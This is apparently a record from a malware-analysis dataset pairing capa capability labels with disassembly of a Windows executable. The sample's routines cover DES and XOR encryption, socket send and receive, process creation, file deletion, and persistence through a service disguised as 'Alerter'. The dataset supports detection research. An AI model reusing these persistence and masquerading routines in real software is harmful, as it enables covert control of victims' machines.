joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a70
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x404718
call fcn.00403c60
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x403aad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403aad
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x403ac5
cmp eax, 0x20b
je 0x403ab2
mov dword [ebp - 0x1c], ebx
jmp 0x403ad9
cmp dword [ecx + 0x84], 0xe
jbe 0x403aad
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x403ad3
cmp dword [ecx + 0x74], 0xe
jbe 0x403aad
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x406ab8], 0xffffffff
or dword [0x406abc], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x406aac]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x406aa8]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x406ab4], eax
call fcn.00403c5a
cmp dword [0x406990], ebx
jne 0x403b34
push fcn.00403c5a
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.00403c48
push 0x404300
push 0x4042fc
call sub.msvcrt.dll__initterm
mov eax, dword [0x406aa4]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x406aa0]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x4042f8
push 0x4042ec
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
cmp byte [esi], 0x22
jne 0x403bca
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x403b9e
cmp al, 0x22
jne 0x403b90
cmp byte [esi], 0x22
jne 0x403ba7
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x403bb1
cmp al, 0x20
jbe 0x403ba3
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x4c], 1
je 0x403bd5
movzx eax, word [ebp - 0x48]
jmp 0x403bd8
cmp byte [esi], 0x20
jbe 0x403ba7
inc esi
mov dword [ebp - 0x34], esi
jmp 0x403bca
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x7c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x403bf5
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x403c2a
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.00403c99
ret
Function at 0x40159c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
lea eax, [ebp - 8]
xor esi, esi
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call fcn.0040156a
pop ecx
cmp eax, esi
je 0x4015c1
push 5
pop eax
jmp 0x40166e
cmp dword [ebp - 8], esi
jne 0x4015ca
push 3
jmp 0x4015bb
push edi
push 0x10
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.00402ad0
or dword [ebp - 0x18], 0xffffffff
or dword [ebp - 0x14], 0xffffffff
push 0x44
pop edi
push edi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.00402ad0
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x5c], edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 5
pop edi
test eax, eax
jne 0x401618
mov dword [ebp - 4], edi
cmp dword [ebp - 4], esi
jne 0x401649
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x401630
mov dword [ebp - 4], edi
cmp dword [ebp - 4], esi
jne 0x401649
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
jne 0x401649
mov dword [ebp - 4], edi
push dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x18]
call edi
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret

Function at 0x401bc9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412320]
jne 0x401bd3
repz ret
jmp fcn.00402d98
Function at 0x403fe3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406234
and dword [ebp - 4], 0
cmp dword [0x4134b0], 0
mov ebx, eax
jne 0x404094
push 0x40e834
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
je 0x404145
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push edi
call esi
test eax, eax
je 0x404145
push eax
call fcn.004061c2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4134b0], eax
call esi
push eax
call fcn.004061c2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4134b4], eax
call esi
push eax
call fcn.004061c2
mov dword [esp], str.GetUserObjectInformationW
push edi
mov dword [0x4134b8], eax
call esi
push eax
call fcn.004061c2
pop ecx
mov dword [0x4134c0], eax
test eax, eax
je 0x404094
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004061c2
pop ecx
mov dword [0x4134bc], eax
mov eax, dword [0x4134bc]
cmp eax, ebx
je 0x4040ec
cmp dword [0x4134c0], ebx
je 0x4040ec
push eax
call fcn.0040623d
push dword [0x4134c0]
mov esi, eax
call fcn.0040623d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4040ec
test edi, edi
je 0x4040ec
call esi
test eax, eax
je 0x4040e3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4040e3
test byte [ebp - 0xc], 1
jne 0x4040ec
or dword [ebp + 0x10], 0x200000
jmp 0x404125
mov eax, dword [0x4134b4]
cmp eax, ebx
je 0x404125
push eax
call fcn.0040623d
pop ecx
test eax, eax
je 0x404125
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x404125
mov eax, dword [0x4134b8]
cmp eax, ebx
je 0x404125
push eax
call fcn.0040623d
pop ecx
test eax, eax
je 0x404125
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4134b0]
call fcn.0040623d
pop ecx
test eax, eax
je 0x404145
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404147
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b096
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406234
and dword [ebp - 4], 0
cmp dword [0x413970], 0
mov ebx, eax
jne 0x40b147
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b1f8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b1f8
push eax
call fcn.004061c2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x413970], eax
call esi
push eax
call fcn.004061c2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x413974], eax
call esi
push eax
call fcn.004061c2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x413978], eax
call esi
push eax
call fcn.004061c2
pop ecx
mov dword [0x413980], eax
test eax, eax
je 0x40b147
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004061c2
pop ecx
mov dword [0x41397c], eax
mov eax, dword [0x41397c]
cmp eax, ebx
je 0x40b19f
cmp dword [0x413980], ebx
je 0x40b19f
push eax
call fcn.0040623d
push dword [0x413980]
mov esi, eax
call fcn.0040623d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b19f
test edi, edi
je 0x40b19f
call esi
test eax, eax
je 0x40b196
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b196
test byte [ebp - 0xc], 1
jne 0x40b19f
or dword [ebp + 0x10], 0x200000
jmp 0x40b1d8
mov eax, dword [0x413974]
cmp eax, ebx
je 0x40b1d8
push eax
call fcn.0040623d
pop ecx
test eax, eax
je 0x40b1d8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b1d8
mov eax, dword [0x413978]
cmp eax, ebx
je 0x40b1d8
push eax
call fcn.0040623d
pop ecx
test eax, eax
je 0x40b1d8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x413970]
call fcn.0040623d
pop ecx
test eax, eax
je 0x40b1f8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b1fa
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403760
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
push 0x40
push eax
push 0x424dec
call fcn.00403aa0
push 0x40
push 0x40f700
push 0x424dec
push 0x424dec
call fcn.004039c0
mov al, byte [esp + 0x3c]
add esp, 0x1c
test al, al
jne 0x4037eb
mov ebx, dword [esp + 0x1c]
mov ebp, 0x10
mov eax, dword [0x4146a0]
mov ecx, 8
mov esi, eax
mov edi, 0x424dcc
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00403900
mov ecx, dword [0x41469c]
mov edx, dword [0x4146a0]
push 0x20
push ecx
push edx
call fcn.00403a10
mov edi, dword [0x41469c]
add esp, 0x14
mov ecx, 8
mov esi, 0x424dcc
add ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x40379f
jmp 0x403844
mov eax, dword [esp + 0x1c]
mov ebp, 0x10
lea ebx, [eax + 0x2d0]
mov eax, dword [0x41469c]
mov ecx, 8
mov esi, eax
mov edi, 0x424dcc
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00403900
mov ecx, dword [0x4146a0]
mov edx, dword [0x41469c]
push 0x20
push ecx
push edx
call fcn.00403a10
mov edi, dword [0x4146a0]
add esp, 0x14
mov ecx, 8
mov esi, 0x424dcc
sub ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x4037fa
push 0x40
push 0x40f740
push 0x424dec
push 0x424dec
call fcn.004039c0
mov eax, dword [esp + 0x24]
push 0x40
push 0x424dec
push eax
call fcn.00403ae0
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x403880
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0x40
push eax
push 0x424d8c
call fcn.00403aa0
push 0x38
push str.91__
push 0x424d8c
push 0x424d8c
call fcn.004039c0
mov edi, dword [esp + 0x28]
add esp, 0x1c
xor esi, esi
movsx ecx, byte [esi + 0x40f838]
mov edx, dword [0x4146a4]
push ecx
push 0x1c
push edx
call fcn.00403a40
movsx eax, byte [esi + 0x40f838]
mov ecx, dword [0x4146a8]
push eax
push 0x1c
push ecx
call fcn.00403a40
push 0x30
push 0x40f808
push 0x424d8c
push edi
call fcn.004039c0
add esp, 0x28
inc esi
add edi, 0x30
cmp esi, 0x10
jl 0x4038b2
pop edi
pop esi
ret

Function at 0x403900
Capabilities:
Encrypt data using des

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x30
push 0x40f780
push esi
push 0x424d5c
call fcn.004039c0
mov eax, dword [esp + 0x1c]
push 0x30
push eax
push 0x424d5c
call fcn.00403a10
push 0x424d5c
push esi
call fcn.00403950
push 0x20
push 0x40f7b0
push esi
push esi
call fcn.004039c0
add esp, 0x34
pop esi
ret

Function at 0x403a10
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x403a32
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x403a24
pop ebx
pop esi
ret
Function at 0x404010
Capabilities:
Delete file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 4]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, eax
mov eax, dword [esp + 0xdc]
neg ecx
sbb ecx, ecx
pop edi
inc ecx
mov dword [eax + 4], 0
mov dword [eax], ecx
pop esi
add esp, 0xcc
ret

Function at 0x404060
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x120
mov ecx, 0x33
push esi
mov esi, dword [esp + 0x128]
push edi
lea edi, [esp + 0x5c]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x5c]
xor esi, esi
cmp eax, esi
jge 0x4040fb
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push esi
push esi
push esi
push esi
push esi
lea edx, [esp + 0x7c]
push esi
push edx
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], si
mov word [esp + 0x72], si
mov dword [esp + 0x74], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404161
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 8]
push ecx
call edi
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax], esi
mov dword [eax + 4], esi
pop esi
add esp, 0x120
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push edx
push eax
push esi
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x7c]
push esi
push ecx
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404161
mov edx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esp + 8]
push eax
call edi
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax], esi
mov dword [eax + 4], esi
pop esi
add esp, 0x120
ret
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax + 4], esi
mov dword [eax], 1
pop esi
add esp, 0x120
ret

Function at 0x404180
Capabilities:
Copy file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 0x68]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push 1
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, eax
mov eax, dword [esp + 0xdc]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0xcc
ret

Function at 0x4041d0
Capabilities:
Move file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 0x68]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edx, eax
mov eax, dword [esp + 0xdc]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0xcc
ret
Function at 0x404220
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x18
push esi
mov esi, dword [esp + 0x24]
cmp esi, 1
push edi
jae 0x404239
pop edi
mov eax, 1
pop esi
add esp, 0x18
ret
mov edi, dword [esp + 0x24]
lea eax, [esp + 0x28]
push 4
push eax
push 8
push 0xffff
push edi
mov dword [esp + 0x3c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x404266
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
lea eax, [esi + esi*4]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
lea eax, [eax + eax*4]
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
lea eax, [eax + eax*4]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], edx
shl eax, 3
push edx
push ecx
lea edx, [esp + 0x20]
mov dword [esp + 0x18], eax
push 0xc
push edx
lea eax, [esp + 0x1c]
push 0xc
push eax
push 0x98000004
push edi
mov dword [esp + 0x2c], 1
mov dword [esp + 0x34], 0x3e8
call dword [sym.imp.WS2_32.dll_WSAIoctl]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
add esp, 0x18
ret

Function at 0x4042d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x40430f
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x404308
cmp eax, 0xffffffff
je 0x404308
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x40430f
jmp 0x4042e4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x404320
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x40435f
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x404358
cmp eax, 0xffffffff
je 0x404358
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x40435f
jmp 0x404334
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x404900
Capabilities:
Delete file

Disassembly:
mov eax, dword [0x425648]
push esi
test eax, eax
mov esi, ecx
je 0x40492c
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
test eax, eax
je 0x40492c
mov eax, dword [esi + 0x60]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x425540
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [0x425654], 1
mov ecx, dword [esi + 0x178]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, esi
call sub.MFC42.DLL_CWnd::Default
pop esi
ret

Function at 0x404c80
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x404ca4
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404c9d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret
Function at 0x404e70
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], bl
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x30
mov dword [esp + 0x14], ebx
stosb byte es:[edi], al
call ebp
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x44]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
mov edi, 0x4147b8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x40]
push eax
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x30
call ebp
mov byte [esp + 0x18], bl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 3
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x53
mov byte [esp + 0x29], bl
push 0x30
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 1
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 1
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 1
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], bl
call ebp
mov eax, dword [esp + 0x18]
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [esp + 0x14]
push 0x2c
push edx
push 3
push ebx
push str.FailureActions
push eax
call esi
push 0x30
call ebp
add esp, 4
push 0x414ac4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x10]
push eax
push 0x414ac4
push 1
push ebx
push str.Description
push ecx
call esi
push 0x30
call ebp
mov edx, dword [esp + 0x14]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x30
call ebp
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret
Function at 0x405040
Capabilities:
Create service
Delete service
Persist via windows service

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x4147b8
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call ebp
push esi
call ebp
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebx
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x4050b0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret 8
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x118]
lea ecx, [esp + 0x10]
lea eax, [edi + 0x268]
push eax
push str.__s_
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x30
call ebx
add esp, 0x10
lea edx, [esp + 0x10]
push 0
push 0
push 0
push 0
push 0
push edx
push 1
push 2
push 0x110
push 0xf01ff
push str.Alerter
push 0x4147b8
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push 0x30
mov dword [edi + 0x370], eax
call ebx
add esp, 4
mov ecx, edi
call fcn.00404e70
push 0x30
call ebx
add esp, 4
push esi
call ebp
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x104
ret 8
Function at 0x405290
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x415604]
push ebx
push ebp
push esi
sub eax, 0
push edi
mov ebp, ecx
je 0x4052d4
dec eax
je 0x4052c1
dec eax
je 0x4052ae
push 0
call dword [sym.imp.MSVCRT.dll_exit]
lea ebx, [ebp + 0x164]
push ebx
push 3
call fcn.00408bb0
add esp, 8
jmp 0x40530f
lea ebx, [ebp + 0x164]
push ebx
push 2
call fcn.00408bb0
add esp, 8
jmp 0x40530f
lea ebx, [ebp + 0x164]
push ebx
push 1
call fcn.00408bb0
mov edi, str.Program_Files
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x415608
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x405370
mov edi, 0x4158dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x415608
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x41570c
push ebx
add ebp, 0x268
push str._s_s
push ebp
call dword [sym.imp.MSVCRT.dll_sprintf]
mov eax, dword [0x4155fc]
add esp, 0x10
test eax, eax
jne 0x405401
mov edi, 0x414fe0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x4147b8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4150e4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.Alerter
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4152ec
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x414ac4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
ret